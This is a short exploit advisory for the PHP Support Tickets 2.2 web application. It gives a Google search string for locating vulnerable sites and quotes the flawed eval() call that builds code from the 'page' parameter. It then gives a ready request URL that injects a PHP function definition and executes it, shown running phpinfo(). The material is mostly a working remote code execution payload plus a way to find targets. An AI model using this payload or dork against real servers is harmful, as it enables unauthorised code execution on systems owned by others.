PHP Support Tickets 2.2 - Code Execution

# Exploit Title: PHP Support Tickets v2.2 Code Exec
# Google Dork: "PHP Support Tickets v2.2"
# Date: 26.09.2010
# Author: brain[pillow]
# Software Link: http://www.phpsupporttickets.com/
# Version: 2.2

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# Vuln. code:

/classes/GUI/abstract.GUI.php 

    public function getPageName() { 
        return eval('return PHPST_PAGENAME_' . strtoupper($this->page) . ';'); 
    } 

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# Exploit:

/index.php?page=xek();function PHPST_PAGENAME_XEK(){phpinfo();}